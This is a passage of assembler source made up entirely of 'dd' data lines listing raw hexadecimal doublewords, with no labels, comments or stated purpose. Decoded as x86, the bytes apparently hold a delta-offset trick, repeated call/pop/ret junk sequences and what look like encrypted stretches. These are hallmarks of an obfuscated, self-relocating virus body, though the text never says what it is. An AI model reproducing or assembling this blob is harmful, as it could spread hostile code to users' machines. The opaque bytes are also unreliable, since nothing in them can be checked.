1404h, 0C3574700h, 4E180C9h, 8FDBD89h, 0C90A0614h dd 14C840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 0C4FDA0C3h, 8BAC4235h, 142B999Dh dd 25BD8B06h, 57061408h, 0FE8h, 6D16D500h, 0E184BA32h dd 0DABFA2BDh, 5D33C453h, 5BD98B66h, 69858B5Fh, 0E9061419h dd 9, 6388631Ch, 993E69D4h, 818533A3h, 0B706141Bh, 0BF6650BFh dd 489F3DDh, 0BDB53124h, 6A061421h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 681930BBh dd 0D1C706E6h, 11E9h, 0F1CEA600h, 6080859Dh, 98A706D9h dd 90229DFCh, 481DBBDh, 57FD1924h, 56006A2Eh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0F24E564Fh dd 89C5D593h, 140D0DBDh, 0AD95FF06h, 6A061409h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0F93CC351h, 290E072Eh, 14106D8Dh, 1BD8B06h, 8906140Dh dd 17AA9885h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 0D2126155h, 0E9B1B73Bh, 7, 74895F71h dd 0E9988D60h, 1F1h, 0D18D89h, 858B0614h, 617AA90h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0F2C35343h, 0BE82B6Fh dd 5000000h, 80FF808Ah, 444681Ah, 0FE9B389h, 0A5000000h dd 0E2E5C804h, 69855C3Eh, 0B776E22Dh, 0C75BBF02h, 1800h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0CCC16018h, 0B2BA78CAh dd 0DF8BC05Fh, 0AA94B58Bh, 6A0617h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 25963FC3h dd 2B059D89h, 858B0614h, 6140B29h, 6860Fh, 0BD890000h dd 6140B09h, 8E90689h, 97000000h, 1FF0715h, 8B1F153Fh dd 14196985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 0AD19828Bh, 0BD1BD8Bh, 46890614h dd 0FFB70F04h, 188F0F96h, 0E8000000h, 10h, 67209FE3h, 0E45AFFFAh dd 0BF28ACh, 0DEA6F8Bh, 505BB5B7h, 96DE8B66h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 6FC35040h, 61612294h dd 90B5FFE6h, 6A0617AAh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 0D8CEC357h, 1278F2E5h dd 0BD898BC3h, 6143215h, 218DB589h, 0E9680614h, 56DE385Eh dd 5BDA8B66h, 16240481h, 8921E6A5h, 142BD1BDh, 98858D06h dd 6A0617AAh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 2C4DC351h, 14C7C790h, 66C14248h dd 50E844BFh, 73CC2ABBh, 24048928h, 29919D8Bh, 95FF0614h dd 61409ADh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 81C35747h, 0BCE59ACEh, 10C4BCBFh, 9D89612Fh, 61424A5h dd 267185C7h, 30614h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0F29C24C3h, 14D19D33h dd 0BD830614h, 617AA98h, 35840F00h, 8B000000h, 142C7DBDh dd 45E906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 0D75DEC3h, 0B5C47D2Ah, 0B7E37094h dd 0DF8B661Eh, 110C3050h, 1114400h, 3010E8C1h, 21144h dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 6AC08B00h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 31E7C356h, 9495C22h dd 1415C99Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 80629C74h, 74549A67h, 2671BD83h dd 0F030614h, 42385h, 68C0F00h, 81000000h, 0BF37E4EBh dd 98BD8336h, 617AAh, 40A840Fh, 0B70F0000h, 95BD8BF8h dd 0FF06142Eh, 17AA98B5h, 7DE1BF06h, 95FF0933h, 6142AF5h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 42C35040h dd 9531F33Dh, 6140A49h, 0AA8CB58Bh, 0CB800617h, 106C735h dd 6A000100h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 6E72C352h, 0CE862h, 8D250000h dd 0FD953A8Bh, 0C435FEE7h, 6660CF2Dh, 5621EAB8h, 895B6158h dd 1425ADBDh, 8B665006h, 243489F8h, 921BD8Bh, 0B5FF0614h dd 617AA98h, 0FFFC70B7h, 140B3195h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 9C1ACC71h dd 671B531h, 0B58B0614h, 617AA8Ch, 0B5315F56h, 6142FADh dd 21D5858Bh, 81660614h, 891D52EFh, 0C486h, 68F0F00h, 89000000h dd 142599BDh, 29958B06h, 0FC061432h, 6A04C283h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 733AC351h, 50896FD0h, 56006A20h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 0B67081F4h, 0A1E04FDCh dd 9D8BE698h, 61403ADh, 799D0360h, 89061423h, 142E959Dh dd 858D6106h, 617BE06h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0D4C35646h, 8E99Fh, 0E2E60000h, 0EA585681h dd 8689B440h, 0B8h, 649BD09h, 6A0614h, 22898D89h, 0B5FF0614h dd 617AA98h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 43C35747h, 0BD5C56ADh, 6559830Fh, 9D8BFC88h, 614085Dh dd 93995FFh, 0B5890614h, 614035Dh, 8880F96h, 0F000000h dd 28Ch, 50616000h, 2850Fh, 0FD8A0000h, 0C59D8B96h, 0FF061418h dd 17AA98B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 11800FEDh, 0E9000000h, 0Ch, 488D10FBh dd 331D16C5h, 5BFDE144h, 20F595FFh, 6A0614h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0E01F3AC3h dd 29921951h, 7DBD2384h, 8B06141Dh, 142B8DBDh, 21BD8306h dd 6140Ch, 82840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 86D6B6C3h, 97C1AD84h dd 30F1B509h, 0E8500614h, 6, 841E9FA1h, 11E95005h, 2000000h dd 7FDA63E6h, 0D5D31AADh, 0A2E58885h, 4BF58D17h, 2434895Fh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0B8C35646h dd 622B7811h, 0E9DF8B66h, 0Ch, 12A2EEB4h, 430E8ED5h, 5C881676h dd 0AA98B5FFh, 6A0617h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 40C18CC3h, 0A14BEAE5h, 0FFDF8B11h dd 1402B195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 3F25694Dh, 0BD89D8A9h, 614318Dh dd 0AA98B5FFh, 6A0617h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 7C4AB6C3h, 0B8B6BB66h, 308195FFh dd 14E90614h, 0EC000000h, 0EE777A9Ch, 0C300C7C3h, 775B2631h dd 2D1F9E9h, 83D969C9h, 1409F5BDh, 840F0206h, 34h, 0D4D9589h dd 858B0614h, 6142D01h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 0DCC35242h, 0A9831F93h, 0C67B64h, 74E78000h dd 244D85C7h, 614h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 0EB937C3h, 9D89D434h dd 614251Dh, 0FFF3A8E9h, 0DE9FFh, 0DF080000h, 0C200C014h dd 0B78FFA97h, 8B5D91D5h, 51006AC1h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 2F972DBCh dd 92DB2461h, 64BB14E3h, 8D68D6DCh, 140F9985h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 8D99003Dh, 0E950C3B7h, 8, 0E02D2768h, 0D61BEE5Fh, 6A240489h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 0CF740EF9h, 69BD8BA6h, 6A061409h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 9D8B65B5h, 614321Dh, 7BE78166h, 57858D91h, 6606191Dh dd 0C083F88Bh, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 0B07DBEA4h, 0D535693Dh dd 0BF669617h, 0B790ABEFh, 0F60503Eh, 0B81h, 6E900h, 0A8790000h dd 0ED976B14h, 0BD299061h, 6142B05h, 5E9h, 681EDB00h, 6A6B28h dd 4DDBD8Bh, 6A0614h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 31C35646h, 7DDBE553h, 1A7195FFh, 6A0614h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 4DCE8AC3h, 8968400Eh, 1404C185h, 0FC8D8D06h, 6A0617A8h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 9BABC352h, 8DB13963h, 0C23803DFh, 8880Fh dd 89600000h, 1434BD8Dh, 0D1FF6106h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 9BC35141h, 847995DEh, 0BD83FA5Eh dd 61412CDh, 0D3850F01h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0E93FC353h dd 10h, 9D31281Eh, 6D11A745h, 0CC29EAB3h, 0C4A92332h, 0F98B6652h dd 6A026A5Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 6F63C355h, 66B78AF2h, 7E87598h dd 0C4000000h, 0F2B08CE0h, 8B66DD55h, 0E9505BF8h, 5, 0B769EFC9h dd 2404897Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 4C35343h, 6178B73Ch, 0E971DE9Fh, 6, 76A1E0Dh, 0BB667B0Ah dd 95FFCC92h, 6140939h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 0CEC35747h, 0DD43CBEDh, 0D2E9D5B3h, 0E800000Ch dd 0 dd 61ED815Dh, 6A06191Dh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 0E26BC352h, 0DD65DC54h dd 0BBDEBF0Fh, 5D2D9014h, 9623858Dh, 0BF0F0617h, 8B0F50F9h dd 5, 9551C7BFh, 2404893Eh, 35FF64h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 138DC351h, 0CBD16008h, 0CE826F7h, 54000000h, 7D49A113h dd 848AA61h, 89DBEE1Fh, 14052585h, 89645B06h, 25h, 0CB816600h dd 9589BE2Ch, 61434D1h, 236D85FFh, 7E90614h, 31000000h dd 0C197EF77h, 6AFCB5D9h, 0B99D8BFFh, 8B06142Ah, 140379BDh dd 95B5FF06h, 6A06142Ch, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 128EC355h, 397E6189h dd 74DC3586h, 0FF88C380h, 142B1995h, 0D7E906h, 0BF0F0000h dd 6600B0DBh, 0CD66F781h, 0E4F570E6h, 95EF8071h, 830F613Ch dd 0BDh, 8BC8B60Fh, 1430E99Dh, 6BA06h, 0F3B30000h, 1D719D8Bh dd 0C18B0614h, 0D9816660h, 0BA662FB3h, 0C161FCB8h, 0E96004E8h dd 10h, 0F833712Eh, 0A00FC4DFh, 18C35979h, 7B1D3F6h, 1635B589h dd 66610614h, 0BD8BE2F7h, 6140335h, 0D18BC82Bh, 25CD8531h dd 62E90614h, 89000000h, 14266DBDh, 4C858B06h, 29505F4Ch dd 1409FD85h, 7C08306h, 0BB00C083h, 4F562C78h, 830FD03Bh dd 9, 37E9F9h, 8AF90000h, 0FF8D8BDAh, 83FFFFFFh, 840F01E1h dd 25h, 1FB5BD31h, 0A5830614h, 0FFFFFFFFh, 9D0BF9FEh, 6140825h dd 4C4C9589h, 9D89505Fh, 6140C1Dh, 0E9h, 33B58D00h, 6A06189Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 8A3CC350h, 0FA8B66D9h, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0FFF886C3h dd 14116995h, 6890F06h, 2B000000h, 141939BDh, 1DB52906h dd 0B9061406h, 105Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 6DC35646h, 2A558531h, 0E1830614h, 55006AFCh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 1DFA3D73h, 59B501FCh, 2B06142Ah, 0BAC0h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 440961C3h, 9D29D757h, 61415FDh, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 0C9C35242h, 0CC2137BFh, 50006A72h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 1F9ECAC2h dd 880D0924h, 8B000000h, 29958BD8h, 89061432h, 142ED9B5h dd 4D8D8B06h, 6A061406h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 9C62C353h, 0A20BA410h dd 0E91CD28Dh, 0Dh, 54348E9Bh, 356584FEh, 0AC5E479h, 1CBF6631h dd 0C28B5086h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0F958188Bh dd 29ADBD83h, 0F000614h, 1984h, 0B8F900h, 66000000h, 8DBBA5BFh dd 144D798Dh, 0DB816606h, 0E1FF2C58h, 0BD83DF8Bh, 6142671h dd 0A8840F00h, 8B000004h, 1406BD9Dh, 8E906h, 9DE90000h dd 5794420Dh, 0BD832227h, 6142671h, 0A3840F01h, 6A000004h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 6781C355h, 665CDF81h, 0BD833984h, 6142671h dd 3D860F03h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 896FC355h, 1419AD9Dh dd 6A6006h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0F3BB9FC3h, 0C14BCA51h, 0B531FC85h, 614084Dh dd 0F8D98C66h, 8B04E180h, 142C85BDh, 0FC90A06h, 1C784h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 8A60E046h, 61D18BF8h, 1969858Bh, 6A0614h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0FED542C3h, 4001061Bh, 0E2040BBh, 8185337Ah, 6A06141Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 76D9C352h, 77480FDCh, 0E998A22Ch, 0Ah, 0E8D59C3Dh dd 0F464878h, 50504012h, 0E8525052h, 0Eh, 24233FDFh, 0E2B9E30Dh dd 0D5EA078Ah, 0F5B1BD6h, 5AFE8B31h, 0E8310F58h, 5, 69740082h dd 870F9Eh, 5F000000h, 489585Ah, 0C1BD2324h, 6A06142Bh dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 51FC2CD9h, 89624BFDh, 14310D95h, 9CF06806h dd 505376C7h, 810F52h, 0F000000h, 10E831h, 0B05C0000h dd 106CA522h, 0F99904D4h, 0D647B7A1h, 5A5F20E5h, 34815F58h dd 0D89F0F24h, 55006A76h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 3F3210BAh, 0CF81661Ch dd 95FF90CBh, 61409ADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 9AC35545h, 0A830F90h, 60000000h, 4D9B52Bh dd 0EE8A0614h, 258D2961h, 89061402h, 17AA9885h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0FF107D5Eh, 0B8E9B090h, 6A000001h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 6D24C352h dd 0AA90858Bh, 6A0617h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 806E40C3h, 8F8E04F3h, 0B65218BBh dd 9985016Dh, 0C7061409h, 1800h, 0DE8B6600h, 1B99BD89h dd 0B58B0614h, 617AA94h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 1FC35747h, 8B52C21Dh, 140B2985h, 819D2906h dd 89061407h, 0D59D2306h, 8B06141Ch, 14196985h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0FE220B24h, 0EAB0344Ah, 6A044689h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0F54EC352h dd 22D4C6CEh, 8973B750h, 66562434h, 5FEDDFBBh, 90B5FFFCh dd 8B0617AAh, 1421F5BDh, 0A54C6806h, 6E824F1h, 70000000h dd 691FB956h, 6ABB66C7h, 34815F16h, 0EEA6B324h, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 98858D0Dh, 6A0617AAh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 8964C357h, 140839BDh dd 9D9D8B06h, 50061408h, 0CE9h, 0F141C00h, 9DCD9470h, 0B47DDA89h dd 240489ECh, 0C830Fh, 8D0F0000h, 6, 1A899589h, 0B5890614h dd 6141B6Dh, 9AD95FFh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 500972C3h, 615BDC8Ah dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 78C35242h dd 5E6934E9h, 661BACC5h, 0C7BA30BFh, 14267185h, 306h, 0FDB50900h dd 83061425h, 17AA98BDh, 840F0006h, 34h, 5FF98B57h, 46E9h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 0BF724BEDh, 0F21AE6Ah dd 8589DFB7h, 6141535h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 66C08B00h, 0BD8BFA8Bh, 6142515h, 83FBB70Fh dd 142671BDh, 850F0306h, 3F5h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0B3C35141h, 682132AAh, 0DB816635h dd 0BD833CEFh, 617AA98h, 0C2840F00h, 81000003h, 0E0CF98C7h dd 79BD8B4Ah, 0FF061431h, 17AA98B5h, 68A0F06h, 29000000h dd 14321595h, 0F595FF06h, 106142Ah, 141B1DB5h, 8CB58B06h dd 0B30617AAh, 106C748h, 0E9000100h, 9, 3CBE553Dh, 4C15DAB1h dd 57C381ACh, 5028EE45h, 3489F98Ah, 0BD8BF824h, 614322Dh dd 0AA98B5FFh, 8D890617h, 6140031h, 0B3195FFh, 6A0614h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 81B814C3h, 7B41E4DBh, 0B58BF96Bh, 617AA8Ch, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 49C35242h, 59BD8B67h dd 8906140Ch, 14142D95h, 0D5858B06h, 0F061421h, 687h, 0A0CF8100h dd 8919022Fh, 0C486h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 958BBE3Ch, 6143229h, 28E0Fh dd 0DD8A0000h, 83F88B66h, 9D8B04C2h, 6142989h, 0F5205089h dd 291B589h, 858D0614h, 617BE06h, 17880Fh, 12E90000h, 2E000000h dd 0D54EA313h, 2DD88652h, 3A9F5D9Bh, 717948B1h, 0B88689E4h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0F301C357h, 17A159B7h, 0BD8B2D82h dd 6141711h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 0FF0569C3h, 17AA98B5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 4DC78198h, 0FF4C46D0h, 14093995h, 53609606h, 6658C88Bh dd 6178EEBFh, 50606050h, 5A310F52h, 0FE858h, 16CB0000h dd 0F98412CBh, 640941A6h, 0F04AD2DBh, 0F615ACBh, 28Fh dd 61616000h, 0B5FFF596h, 617AA98h, 21F5BD8Bh, 95FF0614h dd 61420F5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 0C9C35040h, 75201DC5h, 0C21BD83h, 0F000614h, 8484h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0CCD9D29h, 6830Fh, 9D8B0000h, 6142EA5h dd 0E8525050h, 0Eh, 666BE5E3h, 0AD0FE774h, 238B746Ah, 0BE92510h dd 0E6000000h, 10A437AFh, 0A52D6A7Ch, 0F5BD8ADh, 4D6BB31h dd 585A3464h, 6A243489h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 9462C357h, 8B2DF337h dd 142EC99Dh, 98B5FF06h, 6A0617AAh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 7E6EC350h dd 0DE828h, 0F8430000h, 7C1A2C4Fh, 789750D4h, 81F0EB41h dd 0EE3AE7CFh, 0E3815F1Fh, 709BF455h, 2B195FFh, 81660614h dd 0FF90D3CBh, 17AA98B5h, 0A9B53106h, 0FF06140Fh, 14308195h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 9CC110FFh, 33EC0439h, 0FFBF0F05h, 0EE8h dd 0CF28DC00h, 0DC19B30Ah, 0A7D3CC78h, 89D6AF5Fh, 14052D95h dd 0BD835B06h, 61409F5h, 36840F02h, 29000000h, 140E6985h dd 1858B06h, 8B06142Dh, 142CA9BDh, 0C606h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0FCC35646h, 43BF665Ch dd 4D85C709h, 61424h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 0F54BC351h, 8B1A3CB9h dd 1424F59Dh, 0F42DE906h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 5CC73FC3h, 6AC18BBCh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0ABC7C356h, 15EEF1A1h, 0F5FF46B8h, 25E408BFh dd 99858D2Ah, 6A06140Fh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0B347C352h, 0BEB36144h dd 0F59FA3F2h, 0B7525090h, 52310F02h, 5BD98B66h, 6650585Ah dd 0E890DA8Bh, 12h, 0D128BEA9h, 0AF216343h, 9193CE38h dd 93DE7173h, 9D8BC9A1h, 61406BDh, 6A006A5Fh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0CB57C356h, 0F006ACDh, 68Ah, 45BD2300h, 8B061408h, 142C2DBDh dd 17858D06h, 6A06192Ch, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0B272C357h, 9E9C7087h dd 291B97B9h, 14165DB5h, 0A58D0906h, 83061423h, 8B6605C0h dd 0FD8A90DAh, 9034B750h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 6BC35545h, 58BFCA47h, 6A2B6028h, 5ABF6600h dd 66006A2Ah, 0FFA0FABBh, 141A7195h, 25BD8B06h, 8D061416h dd 17A8FC8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 0BF8C1B2Ch, 53E31913h, 6AD1FFh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 1F6BFCC3h, 7E94B2Bh, 0F6000000h, 0AFC66B85h, 9D098197h dd 61409A9h, 12CDBD83h, 0F010614h, 7185h, 89026A00h, 14159195h dd 12E99006h, 54000000h, 7899A551h, 0B4FE0463h, 462A6C97h dd 6EBA3CD9h, 90B750DAh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 567A9539h, 782E103h, 95FF1052h dd 6140939h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 85C35242h, 23ADB589h, 5DE90614h, 0E8000010h, 0 dd 21ED815Dh, 6A06192Ch, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 6040C357h, 0F8922D99h dd 1D0D8D29h, 0BD890614h, 6140C2Dh, 444EBB52h, 505B5915h dd 0A6D2BB66h, 23858D5Fh, 6A061796h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 8D69C350h dd 1943A707h, 0F50F04Ch, 28Fh, 8942B300h, 6A2404h, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 42F316C3h, 18BB660Ah, 0F5BD29CCh, 64061415h, 35FFh dd 12E90000h, 74000000h, 7216D044h, 538E009Ch, 785864B8h dd 0D1ED2C58h, 2589642Eh, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 35C35646h dd 1CD7A5EFh, 517FB844h, 0F5F66B3h, 389h, 0FB8B6600h, 236D85FFh dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 0F37889C3h, 2C9F7F7Ch, 0C985890Ah, 6A061406h dd 51006AFFh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 41937E7Bh, 57412C6Ch, 0B5FF91CAh, 6142111h dd 0EE8h, 262B8C00h, 0ABEF1BADh, 768860C9h, 8B8D1F3Dh dd 1430299Dh, 95FF5B06h, 6142B19h, 1AAE9h, 0E9BB6600h dd 8B00B031h, 141685BDh, 0F5BD8B06h, 0E606141Fh, 13E870h dd 8EF40000h, 0FABCD83Fh, 0FBC1A946h, 0A3E1326Ah, 0A58629D4h dd 7E908h, 47760000h, 0B34A27EFh, 71E45BD9h, 5E9h, 65C95600h dd 613CDF78h, 15D830Fh, 13E80000h, 87000000h, 1E5F50CCh dd 88631CC4h, 3E69D463h, 424CA399h, 8D29C71Dh, 6142C6Dh dd 0C8B60F5Fh, 15C18589h, 6BA0614h, 0E9000000h, 0Dh, 4CC6F6C5h dd 472BBB37h, 677CBB0Ah, 9BD5BF56h, 0C18B69A6h, 2820F60h dd 60000000h, 0CD952961h, 61061405h, 0FE9h, 0F8E0B000h dd 50905FC2h, 2085FD13h, 0C8B8270Dh, 0BB04E8C1h, 46B81533h dd 8BE2F766h, 60C82BDEh, 37B0EE81h, 0E9506D74h, 0Eh, 0A12009E5h dd 270C4F58h, 91EFA181h, 615A8397h, 3C4496BFh, 9D18B4Bh dd 142A9D8Dh, 0B5E906h, 9D290000h, 6142375h, 554C858Bh dd 0DF8B4947h, 83DE8B66h, 12E907C0h, 7A000000h, 96059A6Eh dd 5F5EA3A3h, 33B286DCh, 0D838C9F3h, 0C0839Fh, 5399D89h dd 0D03B0614h, 14830Fh, 0BD8B0000h, 61403F9h, 0A351BB66h dd 6AE9h, 0E3816600h, 8D8B66A8h, 0FFFFFFFFh, 0E9D98B66h dd 0Ah, 99CCFECCh, 0A6E40471h, 0E183A606h, 44840F01h, 66000000h dd 0CE69F781h, 0FFFFA583h, 0FFEFFFFh, 0E86h, 9E900h, 9CBF0000h dd 4DAD58DFh, 89181CEBh, 47554C95h, 14E949h, 0F56E0000h dd 2AA9D1EEh, 3BFA1F1h, 0DAD3D158h, 3C61978Fh, 0E9E062h dd 8D000000h, 18AB92B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 5768C369h, 0C75B165Bh dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0B4AAC5C3h, 9E9h, 0B4829C00h, 5B32B41Bh dd 95897963h, 6141AE5h, 116995FFh, 6A0614h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 106531C3h dd 0F7120477h, 68F0FF8h, 89000000h, 14303995h, 0F5BB906h dd 95890000h, 6141C49h, 6AFCE183h, 